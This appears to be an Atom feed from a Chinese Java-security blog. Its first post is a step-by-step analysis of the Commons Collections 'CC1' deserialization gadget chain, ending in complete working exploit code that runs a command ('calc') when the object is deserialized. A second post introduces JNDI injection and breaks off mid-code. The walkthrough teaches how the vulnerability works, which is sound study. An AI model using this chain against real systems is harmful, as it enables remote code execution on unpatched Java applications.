<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>ebandeng</title>
  
  
  <link href="http://example.com/atom.xml" rel="self"/>
  
  <link href="http://example.com/"/>
  <updated>2024-05-28T12:17:05.866Z</updated>
  <id>http://example.com/</id>
  
  <author>
    <name>ebandeng</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>CC1反序列化链分析</title>
    <link href="http://example.com/2023/08/05/CC1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/"/>
    <id>http://example.com/2023/08/05/CC1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE%E5%88%86%E6%9E%90/</id>
    <published>2023-08-05T10:09:11.000Z</published>
    <updated>2024-05-28T12:17:05.866Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Commons-Collections简介"><a href="#Commons-Collections简介" class="headerlink" title="Commons Collections简介"></a><strong>Commons Collections简介</strong></h2><p>Commons Collections是Apache软件基金会的一个开源项目，它提供了一组可复用的数据结构和算法的实现，旨在扩展和增强Java集合框架，以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现，以及许多实用程序类和算法实现。它的代码质量较高，被广泛应用于Java应用程序开发中。本篇文章就是分析Commons Collections3.1版本下的反序列化问题，针对于它的攻击链也被称为cc1链。</p><h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a><strong>准备工作</strong></h2><p>选择jdk版本为8u65，因为漏洞在8u71的版本就被修复了。下载地址：<a href="https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html%E3%80%82">https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html</a></p><p>CommonsCollections的版本选择3.2.1，不能太高，太高也是没有漏洞的。添加Maven依赖下载：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">version</span>&gt;</span>3.2.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br></pre></td></tr></table></figure><p>另外，为了方便调试我们还需要java源码，因为源码中大多都是class文件，不方便阅读和查找。所以需要下载openjdk对应的源码，链接：<a href="https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4%EF%BC%8C%E7%82%B9%E5%87%BBzip%E4%B8%8B%E8%BD%BD%EF%BC%8C%E8%A7%A3%E5%8E%8B%E6%88%90%E6%96%87%E4%BB%B6%E5%A4%B9%E3%80%82">https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4 </a> </p><p>点击zip下载， 把下载的openjdk里 &#x2F;share&#x2F;classes&#x2F; 里面的 sun包 复制到 jdk1.8.0_65里</p><p>在IDEA中，选择项目结构， 将jdk中的src文件路径添加到源路径中</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716892166073-1.png" alt="Image"></p><p>配置Maven源，要不然没办法下载源码</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716892181348-3.png" alt="Image"></p><h2 id="cc1链分析"><a href="#cc1链分析" class="headerlink" title="cc1链分析"></a><strong>cc1链分析</strong></h2><h3 id="利用点"><a href="#利用点" class="headerlink" title="利用点"></a><strong>利用点</strong></h3><p>此链的漏洞利用点在Commons Collections库中的Transformer接口</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716892196182-5.png" alt="Image"></p><p>再寻找继承于Transformer接口的类，快捷键alt+crtl+b快速查找。有很多都继承了这个接口，我们定位到InvokerTransformer类中，此类可以被序列化，找到重写的Transform方法</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716892209620-7.png" alt="Image"></p><p>这里通过反射调用任意类的任意方法。其中的参数都是通过该类的构造函数控制，也是我们所能控制的。所以这里应该是可以执行任意方法的。</p><p>所以我们可以尝试测试一下能执行恶意类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC1</span> &#123;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line"><span class="type">Runtime</span> <span class="variable">runtime</span> <span class="operator">=</span> Runtime.getRuntime();</span><br><span class="line"><span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;);</span><br><span class="line">invokerTransformer.transform(runtime);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>实例化invokerTransformer类，传入方法名，参数类型，参数值。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716897875614-9.png" alt="Image"></p><p>运行一下代码，成功弹出计算器。 漏洞利用点有了，接下来就是逆推构造调用链，最终定位到某个类的readObject方法里。</p><h3 id="调用链"><a href="#调用链" class="headerlink" title="调用链"></a><strong>调用链</strong></h3><p>我们是在transform方法里执行命令的，所以接下来找哪个类调用了transform方法。右键点击查找用法可快速查找什么类调用了transform方法。共有二十四处调用，这些调用的地方我们都可以看看，最后找到TransformedMap类的checkSetValue方法</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716897911104-11.png" alt="Image"></p><p>valueTransformer是通过TransformerMap赋值的， 但是函数类型为protected，只能本类调用。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716897926046-13.png" alt="Image"></p><p>在该类中还一个decorate方法， 类似于装饰器。它实例化了本类，能够调用TransformedMap构造器并为valueTransformer赋值。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716897944630-15.png" alt="Image"></p><p>那么回到checkSetValue方法，我们已经可以控制valueTransformer，那么接下来找哪个类的哪个方法调用了该方法。只有一处调用，MapEntry类的setValue方法。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716897970806-17.png" alt="Image"></p><p>我们知道Entry代表map中的一个键值对，MapEntry类重写了Map的setValue方法</p><p>我们先通过对Map的遍历触发setValue方法，主要思路：实例化一个Map，put一个键值对，然后通过TransformedMap的decorate方法进行封装，最后进行遍历</p><p>这里的链子就是 Map-&gt;setValue-&gt;checkSetValue-&gt;transformer，通过TransformedMap的decorate方法进行传参。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716897988890-19.png" alt="Image"></p><p>调试一下</p><p>在decorate方法下断点调试一下， 此时，valueTransformer参数赋值为InvokerTransformer对象，步入</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898008355-21.png" alt="Image"></p><p>此时，valueTransformer参数赋值为InvokerTransformer对象，步入</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898025367-23.png" alt="Image"></p><p>接着调用构造器，把InvokerTransformer对象赋值给valueTransformer，走到遍历键值对的时候，调用setValue方法</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898049464-25.png" alt="Image"></p><p>此时就调用了TransformedMap的checkSetValue方法。value的值为Runtime对象。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898065110-27.png" alt="Image"></p><p>步入，最后就调用了InvokerTransformer的transform方法。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898081876-29.png" alt="Image"></p><p>最终执行命令，弹出计算器。那么就说明此链是走的通的，还是逆向查找，看看哪个类的哪个函数调用了setValue方法，如果是readObject类调用了那就可以进行序列化了。</p><h3 id="入口类"><a href="#入口类" class="headerlink" title="入口类"></a><strong>入口类</strong></h3><p>查找用法，在AnnotationInvocationHandler类的readObject方法调用了setValue方法。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898101067-31.png" alt="Image"></p><p>虽然找到入口点了，但是还要有一些问题需要解决</p><h4 id="Runtime类不能被反序列化"><a href="#Runtime类不能被反序列化" class="headerlink" title="Runtime类不能被反序列化"></a><strong>Runtime类不能被反序列化</strong></h4><p>可以通过反射获取到它的class对象，class对象是可以被反序列化的，跟进看一下：</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898117985-33.png" alt="Image"></p><p>一般的反射执行命令的写法为：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC1test1</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException &#123;</span><br><span class="line">        <span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Runtime.class;</span><br><span class="line">        <span class="type">Method</span> <span class="variable">runtime</span> <span class="operator">=</span> c.getMethod(<span class="string">&quot;getRuntime&quot;</span>);</span><br><span class="line">        <span class="type">Runtime</span> <span class="variable">a</span> <span class="operator">=</span> (Runtime) runtime.invoke(<span class="literal">null</span>,<span class="literal">null</span>);<span class="comment">//获得Runtime实例</span></span><br><span class="line">        <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> c.getMethod(<span class="string">&quot;exec&quot;</span>,String.class);<span class="comment">//获得exec函数</span></span><br><span class="line">        method.invoke(a,<span class="string">&quot;calc&quot;</span>);<span class="comment">//调用Runtime对象的exec函数弹出计算器</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们要把这个写法嵌套在 InvokerTransformer类里面</p><p>首先获得runtime方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Method</span> <span class="variable">getMethod</span> <span class="operator">=</span> (Method) <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;).transform(Runtime.class);</span><br></pre></td></tr></table></figure><p>为什么要这样写我们可以跟进一下InvokerTransformer方法和getMethod方法</p><p>InvokerTransformer需要传递三个参数，一个是参数名称，一个是Class数组，一个是Object数组。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898163064-35.png" alt="Image"></p><p>getMethod方法需要传递两个参数，一个是参数明，还有一个是Class数组</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898177614-37.png" alt="Image"></p><p>获取Runtime实例</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Runtime</span> <span class="variable">runtime</span> <span class="operator">=</span> (Runtime) <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;).transform(getMethod);</span><br></pre></td></tr></table></figure><p>获取exec函数调用runtime示例执行calc。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;).transform(runtime);</span><br></pre></td></tr></table></figure><p>这样就把命令执行嵌入 InvokerTransformer方法里了。成功执行</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898206065-39.png" alt="Image"></p><p>但是这样每次就需要调用一次transform方法，传入上一步的输出。很麻烦</p><p>在Commons Collections库中存在ChainedTransformer这么一个类，可以将多个Transformer串联在一起形成一个链，递归调用。跟进这个类看一下</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898221509-41.png" alt="Image"></p><p>它的构造方法传递一个数组，它的transform方法将iTransformers进行递归调用。代码如下</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898235928-43.png" alt="Image"></p><p>完美解决不能反序列化的问题。</p><h4 id="AnnotationInvocationHandler不能在包外实例化"><a href="#AnnotationInvocationHandler不能在包外实例化" class="headerlink" title="AnnotationInvocationHandler不能在包外实例化"></a><strong>AnnotationInvocationHandler不能在包外实例化</strong></h4><p>看代码</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898252508-45.png" alt="Image"></p><p>构造器没写类型，那就是默认访问修饰符，只能在包内实例化。所以还是需要反射来获得实例对象。</p><p>该构造器接收两个参数，分别是注解类型的Class对象和Map对象。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898268417-47.png" alt="Image"></p><p>不能直接实例化，我们就需要用反射去调用他</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898282217-49.png" alt="Image"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Class</span> <span class="variable">AnnotationInvocationHandler</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);<span class="comment">//获取类名</span></span><br><span class="line"><span class="type">Constructor</span> <span class="variable">AnnotationInvocationHandlerConstructor</span> <span class="operator">=</span> AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);<span class="comment">//获取构造器</span></span><br><span class="line">AnnotationInvocationHandlerConstructor.setAccessible(<span class="literal">true</span>);<span class="comment">//设置可以访问</span></span><br><span class="line"><span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> AnnotationInvocationHandlerConstructor.newInstance(Override.class, TransformedMapDecorate);<span class="comment">//实例化</span></span><br><span class="line"><span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;cc1.bin&quot;</span>)).writeObject(o);</span><br><span class="line"><span class="type">Object</span> <span class="variable">o1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">&quot;cc1.bin&quot;</span>)).readObject();</span><br></pre></td></tr></table></figure><h4 id="满足readObject的两个if判断"><a href="#满足readObject的两个if判断" class="headerlink" title="满足readObject的两个if判断"></a><strong>满足readObject的两个if判断</strong></h4><p>实际上这条链根本就没有调用setValue方法，打断点调试看看。断点直接打在readObject方法</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898310908-51.png" alt="Image"></p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898318824-53.png" alt="Image"></p><p>第一个if就进不去，这个memberType实际上就是获取注解对象名为name的值，这个name，就是memberValues的键名。而这个memberValues是什么呢？我们创建的Map对象的键值，我们设置的Override，跟进看一下</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898337387-55.png" alt="Image"></p><p>是没有值的，所以需要换一个注解，跟进Target看一下</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898352442-57.png" alt="Image"></p><p>是有value值。同时对于Map对象，需要put键值对，键名必须为value，键值随意。更改完成后，再跟进看一下</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898384711-61.png" alt="Image"></p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898367694-59.png" alt="Image"></p><p>这是var7有值的。</p><p>继续跟进</p><h4 id="setValue方法的参数不可控"><a href="#setValue方法的参数不可控" class="headerlink" title="setValue方法的参数不可控"></a><strong>setValue方法的参数不可控</strong></h4><p>实际上执行了setValue方法后会跟进到checkSetValue。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898434142-63.png" alt="Image"></p><p>而这里的value不是我们想要的Runtime.class，也就是不可控。可以利用一个类ConstantTransformer，跟进看一下它的transform方法</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898446812-65.png" alt="Image"></p><p>无论接收什么参数，返回一个固定值，而这个固定值可以通过构造器可控。也就是说，无论value被赋上什么值，只要它调用了ConstantTransformer的transform方法，结果我们都可控。在Transformer数组里实例化ConstantTransformer</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898461498-67.png" alt="Image"></p><p>然后调试看一下</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898475784-69.png" alt="Image"></p><p>在数组遍历时会调用transform将输入改变为Runtime对象。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1716898490502-71.png" alt="Image"></p><p>完整代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC1</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException &#123;</span><br><span class="line">        <span class="comment">//定义一个数组</span></span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),<span class="comment">//</span></span><br><span class="line">                <span class="comment">//获取getRuntime方法</span></span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="comment">//调用invoke方法获得实例</span></span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="comment">//调用exec方法，弹出计算器</span></span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="comment">//创建实例</span></span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        HashMap&lt;Object, Object&gt; objectObjectHashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;Object,Object&gt;();</span><br><span class="line">        objectObjectHashMap.put(<span class="string">&quot;value&quot;</span>,<span class="string">&quot;b&quot;</span>);</span><br><span class="line">        Map&lt;Object,Object&gt; TransformedMapDecorate = TransformedMap.decorate(objectObjectHashMap, <span class="literal">null</span>,chainedTransformer);</span><br><span class="line">        <span class="type">Class</span> <span class="variable">AnnotationInvocationHandler</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);<span class="comment">//获取类名</span></span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">AnnotationInvocationHandlerConstructor</span> <span class="operator">=</span> AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);<span class="comment">//获取构造器</span></span><br><span class="line">        AnnotationInvocationHandlerConstructor.setAccessible(<span class="literal">true</span>);<span class="comment">//设置可以访问</span></span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> AnnotationInvocationHandlerConstructor.newInstance(Target.class, TransformedMapDecorate);<span class="comment">//实例化</span></span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;cc1.bin&quot;</span>)).writeObject(o);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">&quot;cc1.bin&quot;</span>)).readObject();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;Commons-Collections简介&quot;&gt;&lt;a href=&quot;#Commons-Collections简介&quot; class=&quot;headerlink&quot; title=&quot;Commons Collections简介&quot;&gt;&lt;/a&gt;&lt;strong&gt;Commons Collect</summary>
      
    
    
    
    
    <category term="java安全" scheme="http://example.com/tags/java%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>浅谈JNDI注入</title>
    <link href="http://example.com/2023/07/28/%E6%B5%85%E8%B0%88JNDI%E6%B3%A8%E5%85%A5/"/>
    <id>http://example.com/2023/07/28/%E6%B5%85%E8%B0%88JNDI%E6%B3%A8%E5%85%A5/</id>
    <published>2023-07-28T09:23:18.000Z</published>
    <updated>2024-04-17T12:59:05.311Z</updated>
    
    <content type="html"><![CDATA[<h2 id="1-JNDI"><a href="#1-JNDI" class="headerlink" title="1 JNDI"></a>1 JNDI</h2><h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口，JNDI提供统一的客户端API，通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现，由管理者将JNDI API映射为特定的命名服务和目录系统，使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。</p><p>JNDI(Java Naming and Directory Interface)是一个应用程序设计的API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口，类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一，所有的J2EE容器都必须提供一个JNDI的服务。</p><p>JNDI可访问的现有的目录及服务有：<br>DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP&#x2F;2000&#x2F;NT&#x2F;Me&#x2F;9x的注册表、RMI、DSML v1&amp;v2、NIS。</p><p>简单点来说就相当于一个索引库，一个命名服务将对象和名称联系在了一起，并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件，从而保持数据库代码不变动等。</p><h3 id="JNDI结构"><a href="#JNDI结构" class="headerlink" title="JNDI结构"></a>JNDI结构</h3><p>在Java JDK里面提供了5个包，提供给JNDI的功能实现，分别是：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">javax.naming：主要用于命名操作，它包含了命名服务的类和接口，该包定义了Context接口和InitialContext类；</span><br><span class="line"></span><br><span class="line">javax.naming.directory：主要用于目录操作，它定义了DirContext接口和InitialDir- Context类；</span><br><span class="line"></span><br><span class="line">javax.naming.event：在命名目录服务器中请求事件通知；</span><br><span class="line"></span><br><span class="line">javax.naming.ldap：提供LDAP支持；</span><br><span class="line"></span><br><span class="line">javax.naming.spi：允许动态插入不同实现，为不同命名目录服务供应商的开发人员提供开发和实现的途径，以便应用程序通过JNDI可以访问相关服务。</span><br></pre></td></tr></table></figure><h2 id="2-前置知识"><a href="#2-前置知识" class="headerlink" title="2 前置知识"></a>2 前置知识</h2><p><strong>RMI介绍</strong></p><p>　　远程方法调用（RMI）顾名思义是一台机器上的程序调用另一台机器上的方法。这样可以大致知道RMI是用来干什么的，但是这种理解还不太确切。RMI是Java支撑分布式系统的基石，例如著名的EJB组件。RMI是远程过程调用（RPC）的一种面向对象实现，RMI底层是通过socket通信和对象序列化技术来实现的。</p><p><strong>RMI基本原理</strong></p><p>　　RMI的目的就是要使运行在不同的计算机中的对象之间的调用表现得像本地调用一样。RMI 应用程序通常包括两个独立的程序:服务器程序和客户机程序。RMI 需要将行为的定义与行为的实现分别定义, 并允许将行为定义代码与行为实现代码存放并运行在不同的 JVM 上。在 RMI 中, 远程服务的定义是存放在继承了 Remote 的接口中。远程服务的实现代码存放在实现该定义接口的类中。RMI 支持两个类实现一个相同的远程服务接口: 一个类实现行为并运行在服务器上, 而另一个类作为一个远程服务的代理运行在客户机上。客户程序发出关于代理对象的调用方法, RMI 将该调用请求发送到远程 JVM 上, 并且进一步发送到实现的方法中。实现方法将结果发送给代理, 再通过代理将结果返回给调用者。</p><p>通俗的来说，RMI就是能让我们去调用远程服务器上面的对象和方法、即使本地不存在该类。</p><p><strong>RMI应用示例</strong></p><p>代码实现</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">Hello</span> <span class="keyword">extends</span> <span class="title class_">java</span>.rmi.Remote&#123;</span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">sayHello</span><span class="params">(String from)</span> <span class="keyword">throws</span> java.rmi.RemoteException;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.example.log4j2.test.Hello;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.UnicastRemoteObject;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HelloImpl</span> <span class="keyword">extends</span> <span class="title 